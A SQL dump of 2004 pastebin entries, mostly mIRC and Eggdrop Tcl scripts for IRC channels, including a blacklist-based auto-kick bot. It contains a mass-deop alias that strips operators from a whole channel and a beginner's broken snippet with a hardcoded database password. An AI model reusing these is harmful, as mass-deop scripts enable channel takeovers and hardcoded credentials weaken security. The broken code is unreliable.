INSERT INTO `pastebin` VALUES (2367, 'Juzzy', '2004-11-08 21:29:07', '[bitrate]\r\nbits=0001.0010.0011.0100.0101.0110.0111.1000.1001.1010.1011.1100.1101.1110\r\nv1i=32.64.96.128.160.192.224.256.288.320.352.384.416.448\r\nv1ii=32.48.56.64.80.96.112.128.160.192.224.256.320.384\r\nv1iii=32.40.48.56.64.80.96.112.128.160.192.224.256.320\r\nv2i=32.48.56.64.80.96.112.128.144.160.176.192.224.256\r\nv2ii=8.16.24.32.40.48.56.64.80.96.112.128.144.160\r\nv2iii=8.16.24.32.40.48.56.64.80.96.112.128.144.160\r\nv2.5i=32.48.56.64.80.96.112.128.144.160.176.192.224.256\r\nv2.5ii=8.16.24.32.40.48.56.64.80.96.112.128.144.160\r\nv2.5iii=8.16.24.32.40.48.56.64.80.96.112.128.144.160\r\n[sample]\r\nbits=00.01.10\r\nv1=44100.48000.32000\r\nv2=22050.24000.16000\r\nv2.5=11025.12000.8000\r\n\r\n', 0, 'none', 'mp3.ini', 'none');
INSERT INTO `pastebin` VALUES (2368, 'Juzzy', '2004-11-08 21:31:01', ';Colorbar - changes the nicks colors\r\n;make sure you change the %my_bots variable and add your bots :>\r\n\r\nalias colorbar {\r\n  set %my_bots bot1 bot2 bot3 bot4 ...\r\n  set %total $nick($1,0)\r\n  set %i 1\r\n  :loop\r\n  ;echo -a %i - %total - $1\r\n  if (%i > %total) { goto end }\r\n  if ($nick($1,%i) isop $1) { \r\n    if ($nick($1,%i) isin %my_bots) { cline 7 $1 $nick($1,%i) | inc %i | goto loop }\r\n    if ($nick($1,%i) == stocks) { cline 8 $1 $nick($1,%i) | inc %i | goto loop }\r\n    else { goto op }\r\n  }\r\n  if ($nick($1,%i) isvo $1) && ($nick($1,%i) == $nick($1,1,v,o)) { goto voice }\r\n  if ($nick($1,%i) isvo $1) { goto voice }\r\n  if ($nick($1,%i) == $me) { inc %i | goto loop }\r\n  else { goto end }\r\n  :op\r\n  cline 9 $1 $nick($1,%i)\r\n  inc %i\r\n  goto loop\r\n  :voice \r\n  cline 11 $1 $nick($1,%i)\r\n  inc %i\r\n  goto loop\r\n  :regular\r\n  cline 15 $1 $nick($1,%i) \r\n  inc %i\r\n  goto loop \r\n  :end\r\n  cline 4 $1 $me\r\n\r\n}\r\n\r\nraw 366:*:{\r\n  colorbar $2\r\n}\r\non *:serverop:#: colorbar #\r\non *:op:#:{\r\n  colorbar #\r\n}\r\non *:deop:#:{\r\n  cline 13 # $opnick\r\n  colorbar #\r\n}\r\non *:voice:#:{\r\n  colorbar #\r\n}\r\non *:devoice:#:{\r\n  cline 15 # $vnick\r\n  colorbar #\r\n}\r\n', 0, 'none', 'colorbar.mrc', 'none');
INSERT INTO `pastebin` VALUES (2375, 'AL-3AsHiG', '2004-11-09 16:32:17', 'proc test_telnet {} {\r\n  if {[catch {set tnsock [socket -async eggdrop/ip eggdrop/port]} sockerr]} {\r\n    puts "Try again later, look out the window till then!"\r\n    close $tnsock\r\n    return 0\r\n  }\r\n  puts $tnsock "handle\\npass"\r\n  flush $tnsock\r\n  set tnout [gets $tnsock]\r\n  puts $tnout\r\n}', 0, 'tcl', 'socket/telnet', '#TCL');
INSERT INTO `pastebin` VALUES (2430, 'leprechau', '2004-11-24 12:18:27', '; my raw mode massdeop\r\nmdop {\r\n  ;;if ($me !isop $chan) { echo 4 -a Error, you are not opped. | halt }\r\n  var %total = $opnick($chan,0)\r\n  var %deolist = $null\r\n  var %deopline = $null\r\n  var %skiplist = lepster ch4rlie frank1in l1nus lvcy marcie pig_pen schroeder woodstock animals\r\n  ;;var %skiplist = $null\r\n  var %i = 1\r\n  while (%i <= %total) {\r\n    var %deonick = $opnick($chan,%i)\r\n    if ((%deonick isop $chan) && (%deonick != $me) && (%deonick !isin %skiplist)) {\r\n      if (%deolist == $null) {\r\n        var %deolist = %deonick\r\n      }\r\n      else {\r\n        var %deolist = %deolist %deonick\r\n      }  \r\n    }\r\n    inc %i\r\n  }\r\n  var %i = 1\r\n  var %nummode = $numtok(%deolist,32)\r\n  while (%i <= %nummode) {\r\n    if ($calc($numtok(%deolist,32) - %i) >= 4) {\r\n      var %deopline = %deopline mode $chan -oooo $gettok(%deolist,%i - $calc(%i + 3),32) $cr\r\n      inc %i 4\r\n    }\r\n    else {\r\n      var %deopline = %deopline mode $chan - $+ $str(o,$numtok($gettok(%deolist,%i -,32),32)) $gettok(%deolist,%i -,32)\r\n      inc %i $numtok($gettok(%deolist,%i -,32),32)\r\n    }\r\n  }\r\n  if (%deopline != $null) {\r\n    raw %deopline\r\n  }\r\n  else { echo 4 -a Error, no nicks found to deop. | halt } \r\n}\r\n', 0, 'none', 'mdop', 'none');
INSERT INTO `pastebin` VALUES (2431, 'Mosher', '2004-11-24 13:07:45', '# How should we display information to user upon trigger requests?\r\n# 0 = Display results to channel\r\n# 1 = Notice user results\r\n# 2 = Private message the user the results\r\nset nflcom(method) 0\r\n\r\n# We have to tell the script what char to split text from.\r\nproc nearestindex {text index {char " "}} {\r\n    set tchar [string index $text $index]\r\n    while {($tchar != $char) && ($index >= 0)} {\r\n      incr index -1\r\n      set tchar [string index $text $index]\r\n    }\r\n    return $index\r\n  }  \r\n\r\n# Now we have to split the text into parts to display to the channel or user.\r\nproc nflcom_post {who chan text {idx -1}} {\r\n    global nflcom\r\n    if {$idx != -1} {\r\n      putdcc $idx "$text"\r\n      return\r\n    }\r\n    switch $nflcom(method) {\r\n      0 {set method "PRIVMSG $chan :"}\r\n      1 {set method "NOTICE $who :"}\r\n      2 {set method "PRIVMSG $who :"}\r\n    }\r\n    if {[string length $text] >= 256} {\r\n      while {($text != "") && ([string length $text] >= 256)} {\r\n	set tmp [nearestindex "$text" 256]\r\n	if {$tmp != -1} {\r\n	  set textt [string range $text 0 [expr $tmp - 1]]\r\n	  set text [string range $text [expr $tmp + 1] end]\r\n	} else {\r\n	  set textt [string range $text 0 256]\r\n	  set text [string range $text 257 end]\r\n	}\r\n	puthelp "$method $textt"\r\n      }\r\n    }\r\n    if {$text != ""} {\r\n      puthelp "$method $text"\r\n    }\r\n  }\r\n\r\n# Here we display the data to the channel or the user.\r\nbind pub $nflcom(pubflags) $nflcom(pubtrigger) nflcom:pubdata\r\n  proc nflcom:pubdata {nick uhost hand chan text} {\r\n  global nflcom botnick\r\n	nflcom_post $nick $chan "- $nflcom(name) (Last updated: [time_diff [clock seconds] $nflcom(lastupdate)] ago.)"\r\n	foreach element $nflcom(nflcomdata) {\r\n	  set element [split $element |]\r\n	  set date [lindex $element 0]\r\n	  set headline [lindex $element 1]\r\n	  set story [lindex $element 2]\r\n	  set links [lindex $element 3]\r\n	  nflcom_post $nick $chan "- \\002$headline\\002 -- $story"\r\n	  nflcom_post $nick $chan "- $links"\r\n	}\r\n	nflcom_post $nick $chan "- $nflcom(name) (Completed.)"\r\n	return\r\n      }\r\n\r\n\r\nEXAMPLE OUTPUT:\r\n\r\n[10:41] <scrib> - NFL.Com Headlines. (Modified: 11/24/2004 13:25:28)\r\n[10:41] <scrib> - Going way back for this one -- No, it''s not going to be the 1956 Colts against the 1948 Lions. But it will sure seem that way as both teams will don throwback uniforms for their key Thanksgiving Day game. But the jerseys won''t be the only thing on\r\n[10:41] <scrib> display. NFL.com fantasy expert Gil Brandt likes Detroit''s running game with Kevin Jones against Indy''s soft defense. And a win by Detroit will make good for the Turkey Day tie in 1965.\r\n[10:41] <scrib> - http://www.nfl.com/fantasy/story/7924806\r\n[10:41] <scrib> - NFL.Com Headlines. (End.)\r\n\r\nIt works.\r\n\r\n--Mosher\r\n', 0, 'tcl', 'split text over 256 chars', '#EggTCL');
INSERT INTO `pastebin` VALUES (2424, 'Barvaz', '2004-11-24 10:38:04', 'on *:SOCKOPEN:gunbound:{\r\n  if ($sockerr > 0) { echo -ts Connection Error. }\r\n  else {\r\n    sockwrite -tn gunbound GET /rank/rank_s.asp?search_id= $+ %gunbound.nick HTTP/1.1\r\n    sockwrite -tn gunbound Host: www.gunbound.net\r\n    sockwrite -tn gunbound Accept: */*\r\n    sockwrite -tn gunbound Referer: www.gunbound.net/rank/rank_s.asp?search_id=\r\n    sockwrite -tn gunbound User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n    sockwrite -tn gunbound Pragma: no-cache\r\n    sockwrite -tn gunbound Cache-Control: no-cache\r\n    sockwrite -tn gunbound Connection: close\r\n    sockwrite -tn gunbound $crlf \r\n  }\r\n}\r\non *:text:!rank*:#:{\r\n  if ($2 == $null) { msg # syntax: !rank <Username> | return }\r\n  else {\r\n    write -c gunbound.txt \r\n    set %gunbound.nick $2\r\n    set %gunbound.chan $chan\r\n    .sockclose gunbound\r\n    sockopen gunbound www.gunbound.net 80\r\n  }\r\n}\r\non *:SOCKREAD:gunbound:{   \r\n  sockread %gunbound\r\n  write gunbound.txt %gunbound\r\n  .timergn 1 1 dis.res\r\n}\r\nalias dis.res {\r\n  set %i 0\r\n  while (%i <= $lines(gunbound.txt)) { \r\n    if (*no*data*found* iswm $read(gunbound.txt,%i)) { msg %gunbound.chan No data found for %gunbound.nick | return }\r\n    inc %i\r\n  }\r\n  set %gunbound.1 $replace($read(gunbound.txt,520),<td width="61" align="center">,-)\r\n  set %gunbound.2 $replace($read(gunbound.txt,524),<td width="100" align="center">,-,</td>,-)\r\n  set %gunbound.3 $replace($read(gunbound.txt,525),<td width="186" align="center" height="20">,-,</td>,-)\r\n  if (*rank_15.gif* iswm $read(gunbound.txt,522)) { set %gunbound.4 Double Stone Hammer }\r\n  elseif (*rank_-4.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Silver Dragon }\r\n  elseif (*rank_-3.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Red Dragon }\r\n  elseif (*rank_-2.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Blue Dragon }\r\n  elseif (*rank_-1.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Diamond Wand }\r\n  elseif (*rank_0.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Red Wand }\r\n  elseif (*rank_1.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Blue Wand }\r\n  elseif (*rank_2.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Purple Wand }\r\n  elseif (*rank_3.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Golden Double Sided Axe+ }\r\n  elseif (*rank_4.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Golden Double Sided Axe }\r\n  elseif (*rank_5.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Silver Double Sided Axe+ }\r\n  elseif (*rank_6.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Silver Double Sided Axe }\r\n  elseif (*rank_7.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Sided Double Axe+ }\r\n  elseif (*rank_8.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Sided Double Axe }\r\n  elseif (*rank_9.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Double Golden Axe }\r\n  elseif (*rank_10.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Golden Axe }\r\n  elseif (*rank_11.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Double Silver Axe }\r\n  elseif (*rank_12.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Silver Axe }\r\n  elseif (*rank_13.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Double Metal Axe }\r\n  elseif (*rank_14.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Metal Axe }\r\n  elseif (*rank_16.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Stone Hammer }\r\n  elseif (*rank_17.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Double Wood Hammer }\r\n  elseif (*rank_18.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Wood Hammer }\r\n  elseif (*rank_19.* iswm $read(gunbound.txt,522)) { set %gunbound.4 Chicken }\r\n  else { unset %gunbound.4 }\r\n  set %gunbound.5 $replace($read(gunbound.txt,523),<td width="70" align="center">,-,</td>,-)\r\n  msg %gunbound.chan 5Gunbound Rank User: $remove(%gunbound.2,-) $+ , Level: $remove(%gunbound.4,-) $+ , GP: $remove(%gunbound.3,-) $+ , Rank: $remove(%gunbound.1,-) $+ , Guild: $remove(%gunbound.5,-) $+\r\n}', 0, 'none', 'Gunbound''s rank script in mirc scriptins', 'none');
INSERT INTO `pastebin` VALUES (2490, 'rgak', '2004-12-10 21:26:10', 'dont laugh its my fisrt attempt, i need sum code that froma public cmd will add data into my sqp db, and display a msg in channel saying wat they added was added.\r\n\r\n### mysql settings ###\r\n\r\nset mysql(host) "localhost"\r\n# hostname of the mysql server\r\nset mysql(dbase) "zeromovies"\r\n# name of the zeromovies\r\nset mysql(user) "rgakbo"\r\n# name of the mysql user\r\nset mysql(pass) "162345"\r\n# password for the mysql user\r\nset mysql(fbsql) "fbsql.so"\r\n# path to the fbsql.so tcl mysql api\r\n\r\n### other settings ###\r\n\r\nset invite(cmd) "!invite"\r\n# message command to use\r\nset invite(chan) "#testing123"\r\n# channel to invite to\r\n\r\n### end settings ###\r\n\r\n# lets load fbsql tcl mysql api if it is not already loaded\r\nif {![string match *sql* [info commands]]} { catch {load $mysql(fbsql)} }\r\n\r\n# lets initialize our sqlsessions (see next proc for how sessions are managed)\r\nif {(![info exists sqlsession]) || ($sqlsession > 10)} { set sqlsession 0 }\r\n\r\n# now, lets make a nice proc to take advantage of the fbsql sessions\r\nproc pubAdd {nick uhost hand chan text} {\r\nglobal mysql sqlsession\r\n   $sqlcmd "insert into title}\r\nbind pub - !add pubAdd\r\nputlog "#$nick# addedÂ”\r\n{$sqlcmd disconnect}\r\n\r\n\r\nplz help', 2489, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2498, 'leprechau', '2004-12-15 18:54:53', '## rbl check via dig with scoring system by leprechau@EFnet\r\n## initial release no support or documentation other than provided herein\r\n\r\nif {[namespace exists ::rblchk]} {namespace delete ::rblchk}\r\nnamespace eval ::rblchk {\r\n	namespace export dig check score\r\n\r\n	## begin settings ##\r\n\r\n	variable digbin [lindex [split [exec which dig]] 0]\r\n	## location of dig binary including path (default should work on most systems)\r\n\r\n	variable rbls; array set rbls {\r\n		http.dnsbl.sorbs.net {{Open HTTP Proxy} +2.0}\r\n		socks.dnsbl.sorbs.net {{Open SOCKS Proxy} +2.0}\r\n		misc.dnsbl.sorbs.net {{Open Misc Proxy} +2.0}\r\n		ircbl.ahbl.org {{Abusive Hosts} +2.0}\r\n		blackholes.us {{Problematic Countries} +1.0}\r\n		blackholes.five-ten-sg.com {{Spam Sources, Relays, Dialups, DSL} +1.0}\r\n		cbl.abuseat.org {{Open Proxies and Trojans} +2.0}\r\n		wpbl.dnsbl.net.au {{Weighted Private Block List} +2.0}\r\n		dul.dnsbl.sorbs.net {{Dynamic IPs} -1.0}\r\n	}\r\n	## array of rbls, descriptions, and a score for each\r\n	## format: rblname {{description to show offenders} score}\r\n	## scores must be numeric, but can be either + or - and whole or decimal numbes\r\n\r\n	## end settings ##\r\n	variable version 0.8\r\n\r\n	proc dig {host args} {\r\n		foreach opt {ns type callback} {\r\n			if {[set i [lsearch -glob $args \\-$opt\\*]] != -1} {set [set opt] "[lindex $args [expr {$i +1}]]"; set args [lreplace $args $i [expr {$i +1}]]}\r\n		}\r\n		if {![info exists type]} {set type A}; if {![info exists ns]} {set ns {}} else {set ns "@$ns "}\r\n		if {[catch {set lookup [split [read [set cid [open "|$::rblchk::digbin $ns$host $type" r]]] \\n];close $cid} open_error] != 0} {\r\n			return -code error "Error opening command pipe ($::rblchk::digbin $ns$host $type): $open_error"\r\n		}\r\n		set lookup [lrange $lookup [expr {[lsearch -glob $lookup {*ANSWER SECTION*}]+1}] [expr {[lsearch -glob $lookup {*AUTHORITY SECTION*}]-1}]]\r\n		foreach line $lookup {\r\n			switch -- [lindex $line 3] {\r\n				A {lappend ips [lindex $line end]}\r\n				TXT {lappend txts [lindex $line end]}\r\n				default {continue}\r\n			}\r\n		}\r\n		foreach var {ips txts} {if {![info exists [set var]]} {set [set var] NULL}}\r\n		if {[info exists callback]} {\r\n			switch -- $type {\r\n				A {eval $callback $host [list $ips] $args}\r\n				ANY {eval $callback $host [list $ips] [list $txts] $args}\r\n			}\r\n		} else {\r\n			switch -- $type {\r\n				A {return "$host $ips"}\r\n				ANY {return "$host $ips $txts"}\r\n			}\r\n		}\r\n	}\r\n\r\n	proc check {host rbl args} {\r\n		if {![regexp {^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])$} $host]} {\r\n			set host [lindex [lindex [::rblchk::dig $host] 1] 0]\r\n		}\r\n		for {set i 0} {$i < 4} {incr i} {lappend rip [lindex [split $host {.}] end-$i]}\r\n		if {[set i [lsearch -glob $args \\-callback\\*]] != -1} {set callback "[lindex $args [expr {$i +1}]]"; set args [lreplace $args $i [expr {$i +1}]]}\r\n		if {[info exists callback]} {\r\n			eval $callback $host [list [::rblchk::dig [join $rip {.}].$rbl -type ANY]] $args\r\n		} else {return "$host [::rblchk::dig [join $rip {.}].$rbl -type ANY]"}\r\n	}\r\n\r\n	proc score {host args} {\r\n		set total 0; set details [list]\r\n		foreach rbl [array names ::rblchk::rbls] {\r\n			if {(![string equal {NULL} [lindex [set check [::rblchk::check $host $rbl]] 2]]) && (![string equal {NULL} [lindex $check 3]])} {\r\n				set total [expr [subst {$total [set score [lindex $::rblchk::rbls($rbl) end]]}]]\r\n				lappend details [list $score $rbl [lindex $::rblchk::rbls($rbl) 0] [lindex $check end]]\r\n			}\r\n		}\r\n		if {[set i [lsearch -glob $args \\-callback\\*]] != -1} {set callback "[lindex $args [expr {$i +1}]]"; set args [lreplace $args $i [expr {$i +1}]]}\r\n		if {[info exists callback]} {eval $callback [lindex $check 0] [list $details] $total $args} else {return "[lindex $check 0] $details $total]"}\r\n	}\r\n}\r\npackage provide rblchk $::rblchk::version\r\n\r\n## eggdrop extension designed to work with rblchk above both by me (leprechau@EFnet)\r\n## initial release no support or documentation other than provided herein\r\n## to enable this on a channel type: .chanset #channel +rblchk\r\n## other options described below\r\n\r\nif {[namespace exists ::eggrbl]} {namespace delete ::eggrbl}\r\nnamespace eval ::eggrbl {\r\n\r\n	## begin settings ##\r\n\r\n	variable scores; array set scores {\r\n		warn 1.0\r\n		kick 4.0\r\n		kban 5.0\r\n	}\r\n	## points required for warning/kick/kick ban\r\n\r\n	variable warntype "privmsg";\r\n	## warning methond (privmsg or notice)\r\n	## warnings only sent if channel is set +rblmsguser\r\n\r\n	variable adminname "#admin";\r\n	## nick of admin (or channel name) to send details of rblchecks to\r\n	## only works if channel is set +rblchk and +rblmsgadmin\r\n\r\n	variable usertxttrim "0";\r\n	## setting to trim TXT records returned from RBL servers\r\n	## 0 = do not trim\r\n	## 1 = trim all before url\r\n	## 2 = trim url from txt\r\n	## 3 = do not display TXT field\r\n	## There is no point in setting this to ''2'' for user notices\r\n\r\n	variable admintxttrim "3";\r\n	## same settings as ''usertxttrim'' but applies to the admin notices\r\n\r\n	variable exemptflags "";\r\n	## users with the above flags are exempt from checks\r\n	## set to "" to disable exemptions\r\n\r\n	## end settings ##\r\n\r\n	setudef flag rblchck\r\n	setudef flag rblmsgadmin\r\n	setudef flag rblmsguser\r\n	variable version 0.6\r\n\r\n	proc warn {details total uhost ip nick chan warn kick kban} {\r\n		switch -exact -- $::eggrbl::warntype {\r\n			privmsg {set type PRIVMSG}\r\n			notice {set type NOTICE}\r\n			default {set type PRIVMSG}\r\n		}\r\n		if {[channel get $chan rblmsguser]} {\r\n			puthelp "$type $nick :[lindex [split $uhost {@}] end] \\($ip\\) appears in the following dns black list(s)."\r\n			foreach line $details {\r\n				foreach {score rbl desc txt} $line {\r\n					switch -exact -- $::eggrbl::usertxttrim {\r\n						1 {regsub -all -- {^.*http://} $txt {http://} txt}\r\n						2 {regsub -all -- {http://.*$} $txt {} txt}\r\n						3 {set txt {}}\r\n					}\r\n					puthelp "$type $nick :\\002$score\\002 $rbl \\002$desc\\002 $txt"\r\n				}\r\n			}\r\n			puthelp "$type $nick :\\002TOTAL\\002: $total (warning $warn / kick $kick / kban $kban)"\r\n		}\r\n		if {[channel get $chan rblmsgadmin]} {\r\n			puthelp "PRIVMSG $::eggrbl::adminname :RBL \\002$nick!$uhost\\002 \\($ip\\) in \\002$chan\\002 scored \\002$total\\002 point(s)."\r\n			foreach line $details {\r\n				foreach {score rbl desc txt} $line {\r\n					switch -exact -- $::eggrbl::admintxttrim {\r\n						1 {regsub -all -- {^.*http://} $txt {http://} txt}\r\n						2 {regsub -all -- {http://.*$} $txt {} txt}\r\n						3 {set txt {}}\r\n					}\r\n					puthelp "PRIVMSG $::eggrbl::adminname :\\002$score\\002 $rbl \\002$desc\\002 $txt"\r\n				}\r\n			}\r\n		}\r\n	}\r\n\r\n	proc getscore {ip details total uhost nick chan} {\r\n		foreach name [array names ::eggrbl::scores] { set [set name] $::eggrbl::scores($name) }\r\n		if {($total == 0) || ($total < $warn)} {return} elseif {($total >= $warn) && ($total < $kick)} {\r\n			putlog "RBL \\002$nick!$uhost\\002 \\($ip\\) scored \\002$total\\002 points in \\002$chan\\002 \\(warn $warn kick $kick kban $kban\\)"\r\n			::eggrbl::warn $details $total $uhost $ip $nick $chan $warn $kick $kban\r\n		} elseif {($total >= $kick) && ($total < $kban)} {\r\n			putlog "RBL \\002$nick!$uhost\\002 \\($ip\\) scored \\002$total\\002 points in \\002$chan\\002 \\(warn $warn kick $kick kban $kban\\)"\r\n			if {[isop $::botnick $chan]} {\r\n				putserv "KICK $chan $nick :(rblchk) See notice/message for more information."\r\n			} else {putlog "RBL Wanted to kick \\002$nick!$uhost\\002 on \\002$chan\\002 but I do not have ops there."}\r\n			::eggrbl::warn $details $total $uhost $ip $nick $chan $warn $kick $kban\r\n		} elseif {($total >= $kban)} {\r\n			putlog "RBL \\002$nick!$uhost\\002 \\($ip\\) scored \\002$total\\002 points in \\002$chan\\002 \\(warn $warn kick $kick kban $kban\\)"\r\n			if {[isop $::botnick $chan]} {\r\n				putserv "MODE $chan -o+b $nick *!*@$uhost"; putserv "KICK $chan $nick :rblchk v$::rblchk::version + eggrbl v$::eggrbl::version"\r\n			} else {putlog "RBL Wanted to kickban \\002$nick!$uhost\\002 on \\002$chan\\002 but I do not have ops there."}\r\n			::eggrbl::warn $details $total $uhost $ip $nick $chan $warn $kick $kban\r\n		} else { putlog "RBL ERROR: Cannot determine proper action from total score \\($total\\)"; return }\r\n	}\r\n\r\n	proc onjoin {nick uhost hand chan} {\r\n		if {(![channel get $chan rblchck]) || ([string equal -nocase $nick $::botnick]) || \\\r\n		((![string equal {} $::eggrbl::exemptflags]) && ([matchattr $nick $::eggrbl::exemptflags $chan]))} {return}\r\n		::rblchk::score [lindex [split $uhost {@}] end] -callback ::eggrbl::getscore $uhost $nick $chan\r\n	}\r\n	bind join - {* *!*@*} ::eggrbl::onjoin\r\n}\r\npackage provide eggrbl $::eggrbl::version\r\n\r\nputlog "rblchk v$::rblchk::version + eggrbl v$::eggrbl::version by leprechau@EFnet loaded!"\r\n', 2497, 'tcl', 'testing2', 'none');
INSERT INTO `pastebin` VALUES (2500, 'raidgh0st', '2004-12-17 13:55:04', '\r\n#### Date.tcl by Evo|ver @ ircnet\r\n#### Last update Feb 15 2001\r\n#### \r\n#### Purpose of the script: \r\n#### Storing birthdays and events and checking in how many days it is.\r\n#### The script also sets a topic when it''s someones birthday.i\r\n#### The script CAN use stats.mod for recognising people, but it should\r\n#### work well without it. \r\n#### Use !date --help for all the commands. \r\n####\r\n#### Comments, suggestions, fanmail, marriage proposals: evolver@blue.penguin.nl\r\n####\r\n#### Thanks to HCl for testing.\r\n#### Thanks to webmind for some advise about programming.\r\n#### Thanks to #eggdrop @ircnet for... ehm.. the lame times between sleep.\r\n#### Thanks to G`quann for coding stats.mod\r\n#### Thanks to the people at #mainsource @irc.pulltheplug.com for letting me \r\n#### debug the script with HCl.\r\n####\r\n#### Version 1.2	The year of an event wasn''t handled correctly, it \r\n####			took the current year. This caused a bug for events in \r\n####			future years. ;-)\r\n#### Version 1.1 	Had some putlogs that I used for debugging.. forgot \r\n####			to take them out... \r\n####			With an event, the script now also shows the date...\r\n####			people found that that was usefull....\r\n#### Version 1.0	Releasing the script, tested it for a month, no\r\n####			errors so I thought it could be released.\r\n####			Only some changes in the comment.\r\n#### Version 0.7	Finally found a strange bug.. BitchX adds a " " after\r\n####			a nickcompletion (<tab>).\r\n#### Version 0.6	I think it should be wise if I read the manual. \r\n####			Made a stupid mistake with clock scan.... \r\n#### Version 0.5	It''s know possible to set a time for\r\n####			an event. Changes something in the filetype for it. \r\n####			Fixed a bug, there was no check for the year. So you\r\n####			could just enter no year and you didn''t know nothing \r\n####			happened. :-)\r\n####			If someone''s birthday is today, the script will say that\r\n####			in stead of 52 week... when you do !date. \r\n#### Version 0.4	I forgot something in the help.\r\n####			Script now supports a # in the description of an event.\r\n####			Script now says in the channel when it''s someones \r\n####			birthday and it can''t set the topic.\r\n####			Script now sets the topic back after one day.\r\n#### Version 0.3.5	I didn''t fix the timedate bug, now I did!\r\n#### Version 0.3	Cleaned up a bit of my code.\r\n####			Found and fixed a bug in timedate.\r\n####			Fixed another bug in nick2suser\r\n#### Version 0.2	Fixed a bug with 29 Febuary \r\n####			Fixed a bug in my nick2suser replacement\r\n#### Version 0.1	Initial script. \r\n####			Coded from scratch since my own (non-released)\r\n####			bday.tcl would work anymore with stats.mod1.3.x\r\n####\r\n#### Todo		A warning msg a few days/weeks/months/etc before \r\n#### 			a date. So you can send your birthday card on time ;-)	\r\n#### 			To be really nice, I should make !channel support, \r\n####			but who uses those ;-)\r\n####			There should be more features, if someone has an idea..\r\n\r\n## put here the name of the file where the script stores the data\r\nset datafile .datafile\r\nset notefile .notefile\r\n\r\n## the flag someone must have to be able to remove ALL data. \r\n## NOTE: if someone has the same hostmask of the person who set the date\r\n## he will be able to remove the date too, therefor someone IS able to change\r\n## or remove his/her own birthday or an event he/she set, and someone with \r\n## this flag can always do that.\r\nset date_remove_flag n\r\n\r\n## Don''t change anything below, unless you know what you''re doing.\r\n## All guarentee will be lost when changing anything :-P\r\n\r\nbind pub - !date pub_date\r\n\r\n# Oversetter diverse tid til norsk\r\nproc translate {w00t} {\r\n        set translated [string map {years Ã¥r year Ã¥r weeks uker week uke days dager day dag hours timer hour time minutes minutter minute minutt seconds sekunder second sekund} $w00t]\r\n        return $translated\r\n}\r\n\r\n## proc to handle everything with one bind \r\nproc pub_date {nick host hand chan arg} {\r\n	global botnick\r\n	if {[llength $arg] == 0} {\r\n		set reply [getdate [string tolower [nick2suser $nick $chan]]]\r\n		if {[lindex $reply 0] == "pub"} {\r\n			putserv "PRIVMSG $chan :[translate [lrange $reply 1 end]]"\r\n		} else {\r\n			putserv "PRIVMSG $nick :[translate [lrange $reply 1 end]]"\r\n		}	\r\n		return 1\r\n	}\r\n	if {[lindex $arg 0] == "--help"} {\r\n		datehelp $nick\r\n		return 1\r\n	}	\r\n	if {[llength $arg] == 1} {\r\n 		set arg [string trimright $arg " "]\r\n		if {[nick2suser $arg $chan] != "\\*"} {\r\n			set arg [nick2suser $arg $chan]\r\n		}\r\n		set reply [getdate [string tolower $arg]]\r\n		if {[lindex $reply 0] == "pub"} {\r\n			putserv "PRIVMSG $chan :[translate [lrange $reply 1 end]]"\r\n		} else {\r\n			putserv "PRIVMSG $nick :[translate [lrange $reply 1 end]]"\r\n		}	\r\n		return 1\r\n	}\r\n	if {[llength $arg] == 2} {\r\n		if {[lindex $arg 0] == "remove"} {\r\n			putserv "PRIVMSG $nick :[deldate [string tolower [lindex $arg 1]] $nick $host]"\r\n			return 1\r\n		}\r\n		if {[lindex $arg 0] == "whoset"} {\r\n			set reply [whodate [lindex [string tolower $arg] 1]]\r\n			if {[lindex $reply 0] == "pub"} {\r\n				putserv "PRIVMSG $chan :[lrange $reply 1 end]"\r\n			} else {\r\n				putserv "PRIVMSG $nick :[lrange $reply 1 end]"\r\n			}	\r\n			return 1\r\n		}	\r\n		putserv "PRIVMSG $nick :[lindex $arg 0] not a known command. Try !date --help"\r\n		return 1\r\n	}\r\n	if {[llength $arg] == 3} {\r\n		if {[lindex $arg 0] == "-remember"} {\r\n			set targ [lindex $arg 1]\r\n			if {[nick2suser $targ $chan] != "\\*"} {\r\n				set targ [nick2suser $arg $chan]\r\n			}\r\n			putserv "PRIVMSG $nick :[telldate $nick $host [string tolower $targ] [lindex $arg 2]]"	\r\n		}\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [nick2suser $nick $chan]] 00 00 [string toupper [lindex $arg 0]] [lindex $arg 1] [lindex $arg 2] b $nick $host $chan]"\r\n		return 1\r\n	}\r\n	set len [llength [lrange $arg 3 end]]\r\n	set numhash 0\r\n	foreach args [lrange $arg 3 end] {\r\n		if {[regexp (#) $args]} {\r\n			set numhash [expr $numhash + 1]\r\n		}\r\n	}\r\n	if {$numhash == $len} {	\r\n		if {[lsearch [string tolower [lrange $arg 3 end]] $chan] == -1} {\r\n			set chans "[lrange $arg 3 end] $chan"\r\n		} else { \r\n			set chans [lrange $arg 3 end]\r\n		}	\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [nick2suser $nick $chan]] 00 00 [string toupper [lindex $arg 0]] [lindex $arg 1] [lindex $arg 2] b $nick $host $chans]"\r\n		return 1\r\n	}	\r\n	if {[lindex $arg 4] == ""} {\r\n		putserv "PRIVMSG $nick :Please enter a desciption"\r\n		return 0\r\n	}\r\n	if {[regexp {:} [lindex 